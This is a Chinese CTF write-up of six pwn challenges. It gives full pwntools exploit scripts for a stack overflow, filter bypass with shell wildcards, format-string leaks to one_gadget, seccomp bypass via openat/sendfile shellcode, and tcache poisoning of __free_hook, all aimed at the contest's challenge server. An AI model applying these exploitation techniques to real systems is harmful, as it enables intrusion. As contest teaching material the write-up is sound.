ROUND1

0x00 giaopwn

ret2text,没什么好讲的。有个cat flag的字符串,直接用。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
r = remote("challenge.yuanloo.com", 41537)
context.log_level = 'debug'

rdi = 0x400743
flag = 0x601048
system = 0x4006D2

payload = b'a'*0x28+p64(rdi)+p64(flag)+p64(system)
r.sendline(payload)
r.interactive()

0x01 ezstack

栈溢出+rce字符过滤。这道题的做法挺多的。过滤了c、f、s、h,且只能写十个字节。Linux万物皆文件,是文件就能用通配符进行模糊匹配。比如flag可以写成*lag。那cat咋办呢,cat命令本身指向/bin/cat这个文件,那么一样可以用/bin/*at来匹配。cat是个命令,所以直接*at是不行的。

还要注意一下栈平衡的问题。另外就是这里只能写十个字节,写完/bin/\*at 就只剩一个位置写*了,所以会把当前目录下所有东西都打印出来,flag也包括在里面,得找一找。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
r = remote('challenge.yuanloo.com', 48489)
# r = process('./ezstack')
e = ELF('./ezstack')
context.log_level = 'debug'
ret = 0x40101a
vuln = 0x401275
payload = b'a'*0x38+p64(ret)+p64(vuln)
r.send(payload)
r.recvuntil(b'input your command\n')
r.send(b'/bin/?at *')

r.interactive()

另外我的学弟Garhin师傅利用$0直接getshell了,tql。然后想到/bin/ba??这样的形式应该也是能getshell的,所以这道题解法应该有很多。

0x02 ez_fmt

栈上fmt+栈溢出。泄露libc之后直接溢出到ogg就行了,不用劫持got表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
r = remote("challenge.yuanloo.com", 21821)
# r = process("./pwn")
e = ELF("./pwn")
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"

main = 0x4011DD
vuln = 0x40120D
ret = 0x40101a

r.recvuntil(b'YLCTF\n')
r.send(b'%13$p'.ljust(0x28, b'\x00')+p64(vuln))
libc_base = int(r.recv(14), 16)-libc.sym['__libc_start_main']-243
print(hex(libc_base))

ogg = libc_base+0xe3b01

# r.recvuntil(b'YLCTF\n')
r.send(b'a'*0x27+b'\x00'+p64(ogg))
# gdb.attach(r)
r.interactive()

0x03 ezorw

沙箱shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013
0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

禁用了普通的orw,那就用openat+sendfile的方案。零拷贝是真的好用,要是不强制使用read和write,现在基本都用sendfile。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
r = remote("challenge.yuanloo.com", 34957)
# r = process("./ezorw")
context.log_level = "debug"
context.arch = "amd64"


sc = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
payload = asm(sc)
r.recvuntil(b'orw~')
r.send(payload)

r.interactive()

0x04 canary_orw

gadget+shellcode。不知道我是不是把题目非预期了,给了个vuln函数是一点没用上。程序一来就直接可以往main的返回地址写东西,允许写最大21个字节。给了个canary形同虚设,NX也没开,所以直接往栈上写shellcode就完事了。

先利用jmp rsp执行一个read函数,因为字节数不够写,所以先不改rdx,还是写21字节,然后把一个可以读取更多字节数的read的shellcode写进去,再把orw的shellcode写进去就行。注意rsp会往下推,每次shellcode前面都要加上一定的padding就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

# r = process('./canary')
r = remote('challenge.yuanloo.com', 38925)

vuln = 0x400820
jmp_rsp = 0x40081B

payload = p64(jmp_rsp) + \
asm("xor eax, eax; mov rsi,rsp; mov edi,0; syscall")
r.recv()
r.send(payload)
r.send(b'a'*12+asm("xor eax,eax;mov edx,0x100;syscall"))

sc = '''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall

push 3
pop rdi
push 0xFF /* read size */
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall

push 1
pop rdi
push 0xFF /* write size */
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall

'''
r.send(b'a'*0x15+asm(sc))
# gdb.attach(r)
# pause()

r.interactive()

0x05 ezheap

分析

劫持tcache管理堆。最多只能申请32个次,delete没有UAF,也没有堆溢出。但是edit函数非常地奇怪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 edit_chunk()
{
_DWORD *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("one chance for you");
if ( a )
exit(1);
puts("content :");
read(0, &buf, 8uLL);
*buf = 666666;
++a;
return __readfsqword(0x28u) ^ v2;
}

有一次机会可以往任意地址写一个666666(bytes类型)。注意*buf的类型是DWORD,所以实际上是写入0x00A2C2A。重点在于可以利用写进去的00,如果精心构造,可以利用这个00劫持tcache管理堆,造成堆叠。也就是同一个堆地址会进入到两条大小不同的tcachebin当中。

实现

前置脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
r = process("./pwn")
libc = ELF('./libc-2.31.so')
context.log_level = "debug"


def cmd(c):
r.sendlineafter("choice\n", str(c).encode())


def add(size, content=b'a'):
cmd(1)
r.sendafter(b"Size :\n", str(size).encode())
r.sendafter(b"Content :\n", content)


def delete(idx):
cmd(2)
r.sendlineafter(b"Index :\n", str(idx).encode())


def edit(addr):
cmd(3)
r.sendafter(b"content :\n", addr)


def show(idx):
cmd(4)
r.sendlineafter(b"Index :\n", str(idx).encode())


def Exit():
cmd(5)

先泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(0x500)  # 0
add(0xa0) # 1
delete(0)
add(0xa0) # 2
add(0xa0) # 3
add(0xa0) # 4
show(2) # 从unsorted切割
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1EC061
print(hex(libc_base))

system = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']

delete(3)
delete(4) # 0xb0 4->3
add(0xa0) # 5 原4 tcache
show(5)
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x361
print(hex(heap_base))

其实这里已经有为了后面的堆风水进行构造了。chunk4的地址是0x*400,最后一个字节刚好是00。为了防止unsortedbin切割都后面堆叠造成影响,我们需要先申请足够多的chunk,使unsortedchunk进入到smallbin中。然后把chunk5再次释放,使其先进入到tcache中,方便后面进行内容修改。

1
2
3
4
5
6
add(0x100)  # 6
add(0x100) # 7
add(0x100) # 8 把unsortedchunk取到后面不够取,进到smallbin

delete(5) # 0xb0 5->3 or 4->3
delete(6) # 0x110 6

然后最重要的一步来了。现在堆长这样。

edit前堆

红色框是0xb0大小chunk的头,蓝色框是0x110的。如果我在heap_base+0x105的地方开edit,那么00就会被写到蓝色框的低一位字节。这样一来,我一申请0x110,就能申请到0x*400的堆,我申请0xb0也是一样的。那这就达到了堆叠的效果。后面先申请0x110然后修改fd位为free_hook,再申请两个0xb0的堆,就能达到free_hook,修改为ogg或者system即可。

1
2
3
4
5
6
edit(p64(heap_base+0x105))

add(0x100, p64(free_hook)) # 9
add(0xa0, "/bin/sh\x00") # 10
add(0xa0, p64(system)) # 11
delete(10)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
r = process("./pwn")
libc = ELF('./libc-2.31.so')
context.log_level = "debug"


def cmd(c):
r.sendlineafter("choice\n", str(c).encode())


def add(size, content=b'a'):
cmd(1)
r.sendafter(b"Size :\n", str(size).encode())
r.sendafter(b"Content :\n", content)


def delete(idx):
cmd(2)
r.sendlineafter(b"Index :\n", str(idx).encode())


def edit(addr):
cmd(3)
r.sendafter(b"content :\n", addr)


def show(idx):
cmd(4)
r.sendlineafter(b"Index :\n", str(idx).encode())


def Exit():
cmd(5)


add(0x500) # 0
add(0xa0) # 1
delete(0)
add(0xa0) # 2
add(0xa0) # 3
add(0xa0) # 4
show(2) # 从unsorted切割
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1EC061
print(hex(libc_base))

system = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']

delete(3)
delete(4) # 0xb0 4->3
add(0xa0) # 5 原4 tcache
show(5)
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x361
print(hex(heap_base))

add(0x100) # 6
add(0x100) # 7
add(0x100) # 8 把unsortedchunk取到后面不够取,进到smallbin

delete(5) # 0xb0 5->3 or 4->3
delete(6) # 0x110 6
edit(p64(heap_base+0x105))

# gdb.attach(r)
# pause()
add(0x100, p64(free_hook)) # 9
add(0xa0, "/bin/sh\x00") # 10
add(0xa0, p64(system)) # 11
delete(10)


r.interactive()

0x06 msg_bot

protobuf+shellcode过滤。另起一篇文章细讲。

⬆︎TOP